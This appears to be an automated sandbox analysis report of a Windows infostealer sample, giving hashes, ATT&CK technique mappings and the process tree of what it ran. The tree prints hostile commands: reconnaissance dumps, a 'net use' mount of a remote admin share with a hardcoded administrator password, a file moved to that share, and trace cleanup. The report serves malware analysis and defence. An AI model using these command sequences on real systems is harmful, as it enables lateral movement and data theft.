bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364

max time kernel
149s
max time network
173s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
12/07/2026, 12:54

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Red-Flaged/bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364.exe
Size 820KB
Sample260712-p5a8dsas8k
SHA256 bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364
MD5 4f8091a5513659b2980cb53578d3f798
SHA1 60f925ca7f6d2ea77fd58b14d6259c4256fba899
SHA512 ad99a6e51e4bb68856f7ae2d85eee777ba55fd93808805df8991535bbc72ebe28a3f20557ca234aa76702608fa2539c02011b3f17b4b571fd1b06970a42b0fe5
SSDEEP 24576:4AzX0QVt4LjwctL0fn7J7eKj6a5VCxoq:bRccw47J7Fj99q
TLSH
T1CE051901E660D039F69301FBC7B681B8AE24AF30134554DFA2D879E59B368E63D3752B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery persistence privilege_escalation spyware stealer

Malware Config

Signatures

Indicator Removal: Network Share Connection Removal 1 TTPs 2 IoCs

Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.

defense_evasion

Network Share Connection Removal

T1070.005

pid	Process
116	cmd.exe
4180	net.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
212	tasklist.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 16 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ipconfig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	NETSTAT.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1872	cmd.exe
3216	PING.EXE

System Network Connections Discovery 1 TTPs 2 IoCs

Attempt to get a listing of network connections.

discovery

System Network Connections Discovery

T1049

pid	Process
3428	cmd.exe
4996	NETSTAT.EXE

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4540	ipconfig.exe
4996	NETSTAT.EXE

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3216	PING.EXE

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	212	tasklist.exe
Token: SeDebugPrivilege	4996	NETSTAT.EXE

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4728 wrote to memory of 4368	4728	bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364.exe	86
PID 4728 wrote to memory of 4512	4728	bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364.exe	87
PID 4728 wrote to memory of 3428	4728	bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364.exe	90
PID 4728 wrote to memory of 2852	4728	bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364.exe	91
PID 4368 wrote to memory of 4540	4368	cmd.exe	94
PID 4512 wrote to memory of 212	4512	cmd.exe	95
PID 3428 wrote to memory of 4996	3428	cmd.exe	96
PID 2852 wrote to memory of 1832	2852	cmd.exe	97
PID 4728 wrote to memory of 4888	4728	bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364.exe	107
PID 4888 wrote to memory of 672	4888	cmd.exe	109
PID 4728 wrote to memory of 5004	4728	bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364.exe	110
PID 4728 wrote to memory of 116	4728	bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364.exe	112
PID 4728 wrote to memory of 1872	4728	bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364.exe	114
PID 116 wrote to memory of 4180	116	cmd.exe	116
PID 1872 wrote to memory of 3216	1872	cmd.exe	117

C:\Users\Admin\AppData\Local\Temp\Red-Flaged\bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364.exe
"C:\Users\Admin\AppData\Local\Temp\Red-Flaged\bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4728
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c ipconfig /all > "C:\Users\Admin\AppData\Local\Temp\\temp\res.ip"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4368
- - C:\Windows\SysWOW64\ipconfig.exe
    ipconfig /all
    3⤵
    - System Location Discovery: System Language Discovery
    - Gathers network information
    PID:4540
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c tasklist > "C:\Users\Admin\AppData\Local\Temp\\temp\task.list"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4512
- - C:\Windows\SysWOW64\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:212
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c netstat -naop tcp > "C:\Users\Admin\AppData\Local\Temp\\temp\netstat.res"
  2⤵
  - System Location Discovery: System Language Discovery
  - System Network Connections Discovery
  - Suspicious use of WriteProcessMemory
  PID:3428
- - C:\Windows\SysWOW64\NETSTAT.EXE
    netstat -naop tcp
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Connections Discovery
    - Gathers network information
    - Suspicious use of AdjustPrivilegeToken
    PID:4996
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c netsh interface ip show config > "C:\Users\Admin\AppData\Local\Temp\\temp\netsh.res"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2852
- - C:\Windows\SysWOW64\netsh.exe
    netsh interface ip show config
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:1832
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c net use \\10.38.1.35\C$ su.controller5kk /user:KKNPP\administrator
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4888
- - C:\Windows\SysWOW64\net.exe
    net use \\10.38.1.35\C$ su.controller5kk /user:KKNPP\administrator
    3⤵
    - System Location Discovery: System Language Discovery
    PID:672
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c move /y C:\Users\Admin\AppData\Local\Temp\\~01D9D3F0MT.tmp \\10.38.1.35\C$\Windows\Temp\MpLogs\
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5004
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c net use \\10.38.1.35\C$ /delete
  2⤵
  - Indicator Removal: Network Share Connection Removal
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:116
- - C:\Windows\SysWOW64\net.exe
    net use \\10.38.1.35\C$ /delete
    3⤵
    - Indicator Removal: Network Share Connection Removal
    - System Location Discovery: System Language Discovery
    PID:4180
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c ping -n 3 127.0.0.1 >NUL & echo EEEE > ""
  2⤵
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:1872
- - C:\Windows\SysWOW64\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3216

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Indicator Removal

T1070

Network Share Connection Removal

T1070.005

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

netsh.res

Path C:\Users\Admin\AppData\Local\Temp\temp\netsh.res
Size 952B
SHA256 bc220a34e85ace8bcd971b0b35d2cd2731caafac064ba29e4a9df3ee3fbae201
MD5 34a7f7465de6cb7582ae792119764fb6
SHA1 c1a6459245a38fdae3d1e8702ea353d518003700
SHA512 7a82cc0cd10e2b029ff22c77ae7d58ccb33a945ca64d4ce724eb01750533110232eae0264f7d207214028ba291876de230cfe3b104328c03e3536a8b2ed2ca82
TLSH
T1FB114C270602B487ACF697494962DE70EC62C573041E243DB21D72C94FF22EF674825E
MD5 SHA1 SHA512 TLSH

Submit Download

netstat.res

Path C:\Users\Admin\AppData\Local\Temp\temp\netstat.res
Size 1KB
SHA256 d40cab0b8eef2579a877ea3fae027624c5fc92c8a3f738730f0392c44e481cd0
MD5 5b860b48086367acf08595b0d668554d
SHA1 8b75d8cfec0eb4e8a47467a4dc9e926004f2fabe
SHA512 6633f2e9fea5a1ad75697d9ac03e9e2c196636ac77241cd9f5db91d0d646c37841ed2ee66d767f348ac3776978a15971cc5d8c4bdf1fa8c7f5a3cfa780e713c7
TLSH
T1CA310AA3272D31CE367CCA92759CC956D49D9AA3280F289DB16E1CC4C32C25C2FDB01C
MD5 SHA1 SHA512 TLSH

Submit Download

res.ip

Path C:\Users\Admin\AppData\Local\Temp\temp\res.ip
Size 1023B
SHA256 c6b27a1f44f1e0e243819ec722f39818af8132946d8378836596c3f9628911e2
MD5 061e280e3aed787475b422bef7fb5df3
SHA1 aa020bb5578062575de35c22382c0754c6faa989
SHA512 d3a79ebb64661efab376e4115aefd60507ff4e0729329f43b24526b4eb727879f7f74883443153b168f7e348d606f62de112213f12ab69b7797470747185db30
TLSH
T1BA11C99913E8F00323798A015C696779E1A89E838003F560BE6CA488AC322B497829D3
MD5 SHA1 SHA512 TLSH

Submit Download

task.list

Path C:\Users\Admin\AppData\Local\Temp\temp\task.list
Size 7KB
SHA256 8eff0ec43fad11205d3946119d81abc5fee3860f5452c1d9733d61552279949a
MD5 3deb34f9a5b454724f20252fd87baf04
SHA1 f2bd1f35ef3c43bea163b76d414cf8064af689c5
SHA512 6445178a3608f7607eac12a76e778e15740021ec2e515a93215befe40d10fc89d6a00cb82e6938bdac90bf20e56eea69ddb77073d8726b920daf59eaf94419e2
SSDEEP 192:ePGAChHuxT9IhbRVEOphSDCW+i/eiXaHQ2/1E/kmOZTy/xG+bZ8YxQt27ZDwOx45:ePGAChHuxT9IhbRVEOphSDCW+i/eiXa/
TLSH
T1F5E10C8588DF85EC952DD3983E230002EB4E554031AAADD93ADE14EC77E5F1CD7EBA60
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads